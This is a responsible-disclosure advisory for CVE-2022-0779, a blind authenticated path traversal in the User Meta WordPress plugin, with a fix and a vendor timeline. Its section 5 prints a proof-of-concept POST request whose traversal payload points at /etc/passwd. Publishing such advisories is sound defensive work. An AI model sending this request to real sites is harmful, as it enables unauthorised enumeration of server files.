RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: User Meta Vendor URL: https://wordpress.org/plugins/user-meta Type: Relative Path Traversal [CWE-23] Date found: 2022-02-28 Date published: 2022-05-24 CVSSv3 Score: 4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) CVE: CVE-2022-0779 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== User Meta Lite 2.4.3 and below User Meta Pro 2.4.3 and below 4. INTRODUCTION =============== An easy-to-use user profile and management plugin for WordPress that allows user login, reset-password, profile update and user registration with extra fields, all on front-end and many more. User Meta Pro is a versatile user profile builder and user management plugin for WordPress that has the most features on the market. User Meta aims to be your only go to plugin for user management. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The WordPress ajax action "um_show_uploaded_file" is vulnerable to an authenticated path traversal when user-supplied input to the HTTP POST parameter "filepath" is processed by the web application. Since the application does not properly validate and sanitize this parameter, it is possible to enumerate local server files using a blind approach. This is because the application doesn't return the contents of the referenced file but instead returns different form elements based on whether a file exists or not. The following Proof-of-Concept triggers this vulnerability: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Content-Length: 147 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: [your-wordpress-auth-cookies] Connection: close field_name=[your-field-name]&filepath=/../../../../../etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true 6. RISK ======= The vulnerability can be used by an authenticated attacker to enumerate local server files based on a blind approach. 7. SOLUTION =========== Update to User Meta/User Meta Pro 2.4.4 8. REPORT TIMELINE ================== 2022-02-28: Discovery of the vulnerability 2022-02-28: WPScan (CNA) assigns CVE-2022-0779 2022-03-03: Contacted the vendor via their contact form 2022-03-06: Vendor response, acknowledgement of the issue 2022-03-18: Version 2.4.2 is released 2022-03-22: Vulnerability is still exploitable since fix was applied only client-side. Contacted vendor again. 2022-04-13: No response, contacted vendor again 2022-04-18: Vendor added a new fix to version 2.4.3. Asked to retest. 2022-04-19: Vulnerability is still exploitable due to a logic bug in the fix. Contacted vendor again. 2022-04-29: Vendor asks whether another fix in version 2.4.4 is fine 2022-05-16: Fix seems to work 2022-05-24: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories